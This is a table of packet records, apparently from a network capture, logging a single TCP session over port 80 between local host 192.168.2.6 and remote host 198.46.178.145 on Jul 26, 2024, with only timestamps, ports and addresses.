Jul 26, 2024 11:27:07.039235115 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039241076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039252996 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039258957 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039269924 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039283991 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039289951 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039299011 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039314032 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039323092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039329052 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039340019 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039350033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039359093 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039371967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039376974 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039388895 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039395094 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039407969 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039413929 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039422989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039428949 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039446115 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039459944 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039629936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039638996 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039654970 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039663076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039669037 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039680004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039689064 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039695024 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039710999 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039731026 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039792061 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039800882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039817095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039832115 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039841890 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039855003 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039875031 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039958000 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039968014 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039983034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039992094 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039998055 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040008068 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040019035 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040024996 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040035009 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040040970 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040050030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040059090 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040065050 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040077925 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040085077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040095091 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040102959 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040112019 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040117979 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040131092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040136099 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040150881 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040163040 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040592909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040602922 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040620089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040632963 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040637016 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040649891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040656090 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040667057 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040674925 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040683985 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040689945 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040703058 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040707111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040716887 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040724039 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040735006 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040746927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040755987 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040760040 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040770054 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040777922 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040785074 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040793896 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040802956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040811062 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040822983 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040832043 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040839911 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040853024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040857077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040868998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.040874004 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040890932 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.040900946 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106206894 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106240034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106249094 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106268883 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106273890 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106287956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106295109 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106307030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106317043 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106324911 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106342077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106367111 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106396914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106405020 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106420994 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106431007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106436968 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106448889 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106457949 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106463909 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106477022 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106481075 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106492043 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106499910 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106508970 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106515884 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106530905 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106540918 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106653929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106662989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106695890 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106878996 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106888056 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106904030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106913090 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106920004 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106935024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106940031 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106956959 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106961966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106971025 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.106980085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.106988907 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.107604027 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.107604027 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.107604027 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.107620001 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.107630014 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.107651949 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.107667923 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.107677937 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.107691050 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.107701063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.107721090 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.107731104 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.107738972 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.107753038 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.107762098 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.107784033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.107810974 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.130979061 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131004095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131017923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131031990 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131045103 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131062984 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131069899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131083965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131093979 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131100893 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131118059 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131124973 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131133080 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131144047 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131159067 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131165981 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131180048 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131185055 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131197929 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131220102 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131244898 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131253958 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131270885 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131277084 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131289959 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131303072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131308079 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131321907 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131326914 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131346941 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131357908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131377935 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131390095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131418943 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131548882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131558895 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131581068 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131587029 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131604910 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131611109 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131619930 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131628036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131643057 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131650925 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131665945 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131669998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131680012 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131694078 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131699085 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131705999 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131716013 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131736994 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131927013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131936073 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131958008 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131963015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131972075 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131983042 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.131994009 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.131999969 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.132008076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.132014990 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.132030010 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.132040024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.132047892 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.132059097 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.132070065 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.132083893 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.132091045 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.132102966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.132112980 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.132134914 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.132502079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.132523060 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.132538080 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.132543087 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.132550001 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.132558107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.132564068 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.132570028 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.132576942 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.132585049 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.132618904 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.132649899 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133133888 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133146048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133162975 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133194923 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133213997 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133305073 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133320093 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133330107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133342981 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133349895 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133359909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133368969 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133377075 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133392096 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133408070 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133415937 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133433104 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133440971 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133450985 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133465052 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133476019 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133482933 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133496046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133506060 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133512974 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133524895 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133532047 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133542061 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133550882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133559942 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133569956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133579969 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133589983 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133599997 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133610964 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133618116 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133627892 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133637905 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133647919 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133656025 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133668900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133677006 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133687973 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133697033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133708000 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133714914 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133728981 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133737087 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133754969 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133761883 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133775949 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133785963 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133795977 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133805037 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133816004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133824110 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133841038 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133848906 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133857965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133872986 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133881092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133887053 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.133899927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.133929968 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.198554993 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.198575020 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.198605061 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.198637009 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.198648930 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.198669910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.198688984 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.198698044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.198709011 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.198728085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.198745966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.198753119 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.198775053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.198781967 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.198795080 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.198822021 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.198846102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.198879957 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.198889971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.198919058 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.198932886 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.198942900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.198951960 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.198976994 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.198987007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.199007034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.199022055 CEST	49741	80	192.168.2.6	198.46.178.145
